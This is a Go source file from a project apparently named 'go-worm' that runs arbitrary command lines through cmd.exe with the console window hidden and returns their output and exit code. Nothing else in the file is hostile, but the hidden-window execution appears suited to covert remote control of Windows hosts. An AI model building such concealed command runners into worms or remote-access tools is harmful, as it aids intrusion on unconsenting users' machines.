63 lines
1.4 KiB
Go
63 lines
1.4 KiB
Go
package command
|
|
|
|
import (
|
|
"bytes"
|
|
"context"
|
|
"errors"
|
|
"os/exec"
|
|
"syscall"
|
|
"time"
|
|
|
|
"golang.org/x/sys/windows"
|
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
|
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
|
)
|
|
|
|
var (
|
|
ErrEmptyCommand = errors.New("command must not be empty")
|
|
ErrBadTimeout = errors.New("timeout_sec must be zero or positive")
|
|
ErrTimeout = errors.New("command timed out")
|
|
)
|
|
|
|
func ResolveTimeout(seconds int) (time.Duration, error) {
|
|
if seconds < 0 {
|
|
return 0, ErrBadTimeout
|
|
}
|
|
if seconds == 0 {
|
|
seconds = config.DefaultExecTO
|
|
}
|
|
if seconds > config.MaxExecTO {
|
|
seconds = config.MaxExecTO
|
|
}
|
|
return time.Duration(seconds) * time.Second, nil
|
|
}
|
|
|
|
func Run(ctx context.Context, cmdline string) (models.ExecResponse, error) {
|
|
cmd := exec.CommandContext(ctx, "cmd.exe", "/C", cmdline)
|
|
cmd.SysProcAttr = &syscall.SysProcAttr{
|
|
HideWindow: true,
|
|
CreationFlags: windows.CREATE_NO_WINDOW,
|
|
}
|
|
var stdout, stderr bytes.Buffer
|
|
cmd.Stdout = &stdout
|
|
cmd.Stderr = &stderr
|
|
err := cmd.Run()
|
|
if ctx.Err() == context.DeadlineExceeded {
|
|
return models.ExecResponse{}, ErrTimeout
|
|
}
|
|
exitCode := 0
|
|
if err != nil {
|
|
var exitErr *exec.ExitError
|
|
if !errors.As(err, &exitErr) {
|
|
return models.ExecResponse{}, err
|
|
}
|
|
exitCode = exitErr.ExitCode()
|
|
}
|
|
return models.ExecResponse{
|
|
ExitCode: exitCode,
|
|
Stdout: stdout.String(),
|
|
Stderr: stderr.String(),
|
|
}, nil
|
|
}
|